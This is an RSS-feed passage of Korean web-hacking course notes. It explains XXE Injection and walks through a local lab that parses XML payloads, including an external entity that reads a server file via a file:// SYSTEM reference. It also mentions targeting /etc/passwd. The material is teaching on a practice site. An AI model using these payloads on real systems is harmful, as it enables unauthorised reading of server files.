&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;참고&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://www.inflearn.com/course/%EC%9B%B9%ED%95%B4%ED%82%B9-%EB%B3%B4%EC%95%88-%EC%8B%9C%ED%81%90%EC%96%B4%EC%BD%94%EB%94%A9&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://www.inflearn.com/course/%EC%9B%B9%ED%95%B4%ED%82%B9-%EB%B3%B4%EC%95%88-%EC%8B%9C%ED%81%90%EC%96%B4%EC%BD%94%EB%94%A9&lt;/a&gt;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;정규표현식 참고&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://hamait.tistory.com/342&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://hamait.tistory.com/342&lt;/a&gt;&lt;/p&gt;</description>
      <category>웹 해킹/웹 해킹 및 시큐어 코딩 기초</category>
      <category>Cross Site Script</category>
      <category>XSS</category>
      <category>시큐어 코딩</category>
      <category>웹 해킹</category>
      <author>Security Engineer</author>
      <guid isPermaLink="true">https://it-log.tistory.com/209</guid>
      <comments>https://it-log.tistory.com/209#entry209comment</comments>
      <pubDate>Fri, 24 Jan 2025 23:50:47 +0900</pubDate>
    </item>
    <item>
      <title>XXE Injection</title>
      <link>https://it-log.tistory.com/207</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;1) XXE Injection이란 무엇인가?&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;X&lt;/b&gt;ML E&lt;b&gt;x&lt;/b&gt;ternal &lt;b&gt;E&lt;/b&gt;ntity&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;XML 외부 개체 주입 &amp;rarr; &lt;b&gt;XXE&lt;/b&gt; Injection&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;XML : 데이터를 효율적으로 주고 받기 위해 만들어진 마크업 언어&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;클라이언트와 서버가 통신할때 어떤 데이터 형식으로 주고 받을지 결정하게되는데, 그 형식이 XML 이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;최근에는 XML &amp;rarr; JSON 으로 데이터 형식이 많이 변경되었다. (JSON 등장 이후 XML 활용빈도 줄어듬)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Entity : 개체 (&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;특정 문자열을 사용할 수 있도록 하는 상용구 역할, 참조&lt;span&gt;) (DTD에 대한 이해가 필요)&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;XXE Injection이란&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;XML을 통해 데이터를 주고 받는 기능에 대해서 외부 개체를 주입하는 공격 (외부 개체 참조 - 외부 파일들을 호출)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이를 통해 서버 내 자원(설정파일, 소스코드 등)을 무단 열람할 수 있게된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이외에도 SSRF(Server Side Request Forgery), DoS 공격도 가능하다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;2) 공격 대상&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1020&quot; data-origin-height=&quot;302&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cOjZrp/btsLFcznLlM/YAvK0zx1GwqGlOLIJjBC9k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cOjZrp/btsLFcznLlM/YAvK0zx1GwqGlOLIJjBC9k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cOjZrp/btsLFcznLlM/YAvK0zx1GwqGlOLIJjBC9k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcOjZrp%2FbtsLFcznLlM%2FYAvK0zx1GwqGlOLIJjBC9k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1020&quot; height=&quot;302&quot; data-origin-width=&quot;1020&quot; data-origin-height=&quot;302&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;Injection 공격은 기능에 따라 발생되는 취약점이 다르다.&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;SQL Injection&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;- 웹 어플리케이션과 DB가 연결된 기능에 대해서 사용자 입력값에 SQL 구문을 삽입하여 공격을 한다.&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;- DB와 연결을 통해 값을 얻어와서 사용자에게 값을 반환하는 기능을 이용한다.&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;OS Command Injection&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;- 사용자 입력값을 통해서 시스템 명령을 실행할 수 있는 기능에, 시스템 명령어를 삽입하여 공격을 한다.&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;- 관리자 콘솔에서 사용하는 시스템 명령어 실행 기능을 이용한다. (백업, 특정 IP에 ping 요청 등)&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;- 일반적인 웹 사이트에서는 OS Command Injection 취약점을 발견하기 어렵다.&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;XXE Injection&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;- XML Parser 기능이 있는 어플리케이션에 대해서 공격을 시도, SYSTEM 사용하여 외부 개체 참조&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;- 어플리케이션 이용 시 메시지 바디에 XML 형태로 데이터 전송하는지 확인(XML 파싱 기능 확인)&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;- 최근에는 JSON 형태를 많이 사용하여 거의 없다.(기존 레거시 시스템에는 존재)&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #353638; text-align: left;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;3) 공격 원리 분석&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1320&quot; data-origin-height=&quot;670&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cq1ItA/btsLC6t48g8/5OondudZcO2PHWygnSDVw0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cq1ItA/btsLC6t48g8/5OondudZcO2PHWygnSDVw0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cq1ItA/btsLC6t48g8/5OondudZcO2PHWygnSDVw0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fcq1ItA%2FbtsLC6t48g8%2F5OondudZcO2PHWygnSDVw0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1320&quot; height=&quot;670&quot; data-origin-width=&quot;1320&quot; data-origin-height=&quot;670&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;정상적인 XML Parser&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 어플리케이션이 XML 파서 기능을 수행, XML 형식의 데이터를 정상적으로 받아서 어플리케이션으로 반환한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 사용자가 어플리케이션 메시지 바디에 직접 XML을 전송 할 수도 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 사용자가 어플리케이션에 문서 형태로 업로드 할 수도 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 외부 참조 없이 XML 파서 기능만 수행한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;비 정상적인 XML Parser&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 어플리케이션이 XML 파서 기능을 수행, XML 내 외부 참조하는 문장을 삽입, 외부 참조 후 어플리케이션으로 반환&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- XML 자체에서 외부 개체 참조 (DTD)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 외부 개체(External Entity) 참조가 불가능한 상황에서는 XXE Injection 공격이 불가능하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;DTD(Document Type Definition) : 문서 타입 정의 (XML 문서에서 사용할 수 있는 구조, 요소, 속성을 정의)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Entity : 특정 문자열을 사용할 수 있도록 해주는 상용구 역할을 한다. (내부, 외부 엔티티가 존재)&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 100%;&quot;&gt;&lt;span&gt;Entity(엔티티)&lt;/span&gt;&lt;br /&gt;&lt;span&gt;특수 문자 또는 자주 사용되는 정보들을 선언해 놓고 XML 문서나 DTD에서 참조하여 사용하는 것을 의미.&lt;br /&gt;엔티티를&amp;nbsp;참조하게&amp;nbsp;되면&amp;nbsp;파싱을&amp;nbsp;할&amp;nbsp;때&amp;nbsp;그&amp;nbsp;엔티티&amp;nbsp;참조는&amp;nbsp;선언해&amp;nbsp;놓은&amp;nbsp;값으로써&amp;nbsp;대체되어&amp;nbsp;지며,&amp;nbsp;XML에서&amp;nbsp;엔티티는&amp;nbsp;문서의&amp;nbsp;단위이고&amp;nbsp;한&amp;nbsp;글자에서부터&amp;nbsp;문서&amp;nbsp;전체에&amp;nbsp;이르기까지혹은&amp;nbsp;또&amp;nbsp;다른&amp;nbsp;문서에&amp;nbsp;대한&amp;nbsp;참조까지를&amp;nbsp;의미한다.&lt;/span&gt;&lt;br /&gt;&lt;span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span&gt;Entity 참조란?&lt;/span&gt;&lt;br /&gt;&lt;span&gt;파서에게&amp;nbsp;포함시키기를&amp;nbsp;원하는&amp;nbsp;문서의&amp;nbsp;위치를&amp;nbsp;알려주고&amp;nbsp;파서가&amp;nbsp;가져오는&amp;nbsp;것.&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span&gt;참고:&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;a href=&quot;https://ly91.tistory.com/12&quot;&gt;https://ly91.tistory.com/12&lt;/a&gt;&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;&amp;lt; 내부 개체 &amp;amp; 외부 개체 &amp;gt;&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1320&quot; data-origin-height=&quot;668&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bsjAnC/btsLC0HCD8B/BxygCuLv27oOrtupYhtHMK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bsjAnC/btsLC0HCD8B/BxygCuLv27oOrtupYhtHMK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bsjAnC/btsLC0HCD8B/BxygCuLv27oOrtupYhtHMK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbsjAnC%2FbtsLC0HCD8B%2FBxygCuLv27oOrtupYhtHMK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1320&quot; height=&quot;668&quot; data-origin-width=&quot;1320&quot; data-origin-height=&quot;668&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;내부 엔티티&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 문자열이 XML 문서 내부에 존재&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 내부에서 문자열 참조&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;외부 엔티티&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- SYSTEM 사용(외부 파일 호출할 수 있도록 외부 개체 사용)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1304&quot; data-origin-height=&quot;666&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/BDvZt/btsLC26w3Cz/GMYSumOASkKFu0vO2x0YI1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/BDvZt/btsLC26w3Cz/GMYSumOASkKFu0vO2x0YI1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/BDvZt/btsLC26w3Cz/GMYSumOASkKFu0vO2x0YI1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FBDvZt%2FbtsLC26w3Cz%2FGMYSumOASkKFu0vO2x0YI1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1304&quot; height=&quot;666&quot; data-origin-width=&quot;1304&quot; data-origin-height=&quot;666&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;정상적인 입력 값&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- XML 형식으로 요청&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;비 정상적인 입력 값&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- 외부 엔티티를 참조할 수 있도록 DTD 선언&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;- SYSTEM 사용, 대상 서버가 Linux/Unix 시스템의 경우 etc/passwd 를 자주 참조한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;실습4-1 XXE Injection 공격 실습&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;XXE Injection 공격 실습을 위해 127.0.0.1/insecure_website 접속 후 admin 계정으로 로그인한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;우측 상단의 XML Parser 를 클릭한다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;978&quot; data-origin-height=&quot;570&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/qfiH0/btsLDu9h6J8/X5VlGeFXwebyCr1KH0dpa0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/qfiH0/btsLDu9h6J8/X5VlGeFXwebyCr1KH0dpa0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/qfiH0/btsLDu9h6J8/X5VlGeFXwebyCr1KH0dpa0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FqfiH0%2FbtsLDu9h6J8%2FX5VlGeFXwebyCr1KH0dpa0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;978&quot; height=&quot;570&quot; data-origin-width=&quot;978&quot; data-origin-height=&quot;570&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래 XML 코드를 XML Input에 입력 후 파싱해본다.&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 100%;&quot;&gt;&amp;lt;?xml&amp;nbsp;version=&quot;1.0&quot;&amp;nbsp;encoding=&quot;UTF-8&quot;?&amp;gt; &lt;br /&gt;&amp;lt;test&amp;gt; &lt;br /&gt;&amp;nbsp;&amp;lt;person&amp;gt; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;lt;name&amp;gt;administrator&amp;lt;/name&amp;gt; &lt;br /&gt;&amp;nbsp;&amp;lt;/person&amp;gt; &lt;br /&gt;&amp;lt;/test&amp;gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래와 같은 결과가 출력되는 것을 확인할 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;983&quot; data-origin-height=&quot;654&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/be9Rfz/btsLE2wZIKl/NCdKC6HEXEJyTYcd0MUEt1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/be9Rfz/btsLE2wZIKl/NCdKC6HEXEJyTYcd0MUEt1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/be9Rfz/btsLE2wZIKl/NCdKC6HEXEJyTYcd0MUEt1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbe9Rfz%2FbtsLE2wZIKl%2FNCdKC6HEXEJyTYcd0MUEt1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;983&quot; height=&quot;654&quot; data-origin-width=&quot;983&quot; data-origin-height=&quot;654&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;name administrator 가 출력된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;&amp;lt; 내부 개체 참조 &amp;gt;&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;내부 개체를 먼저 파싱해본다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;administrator 문장이 출력되면 내부 개체가 참조되는 것으로 볼 수 있다.&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래 코드를 입력 후 파싱한다.&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 100%;&quot;&gt;&amp;lt;!DOCTYPE&amp;nbsp;a[ &lt;br /&gt;&amp;lt;!ENTITY&amp;nbsp;str&amp;nbsp;&quot;administrator&quot;&amp;gt; &lt;br /&gt;]&amp;gt; &lt;br /&gt;&amp;lt;print&amp;gt;&amp;amp;str;&amp;lt;/print&amp;gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래와 같이 str administrator 가 출력되었다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;978&quot; data-origin-height=&quot;643&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bJGCnU/btsLDtJo9LM/w3yQ7M7Xl6SiCz6ypYyzKK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bJGCnU/btsLDtJo9LM/w3yQ7M7Xl6SiCz6ypYyzKK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bJGCnU/btsLDtJo9LM/w3yQ7M7Xl6SiCz6ypYyzKK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbJGCnU%2FbtsLDtJo9LM%2Fw3yQ7M7Xl6SiCz6ypYyzKK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;978&quot; height=&quot;643&quot; data-origin-width=&quot;978&quot; data-origin-height=&quot;643&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;&amp;lt; 외부 개체 참조 &amp;gt;&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;외부 개체를 참조하기 위해서는 서버 내 특정 파일이 있어야한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;기존 SQL Injection 실습 시 활용했던 secret_info.txt 파일을 활용한다. (경로: C:\information\secret_info.txt)&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래 코드를 입력 후 파싱한다.&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 100%;&quot;&gt;&amp;lt;!DOCTYPE&amp;nbsp;a[ &lt;br /&gt;&amp;lt;!ENTITY str SYSTEM &quot;file:///information/secret_info.txt&quot;&amp;gt; &lt;br /&gt;]&amp;gt; &lt;br /&gt;&amp;lt;print&amp;gt;&amp;amp;str;&amp;lt;/print&amp;gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
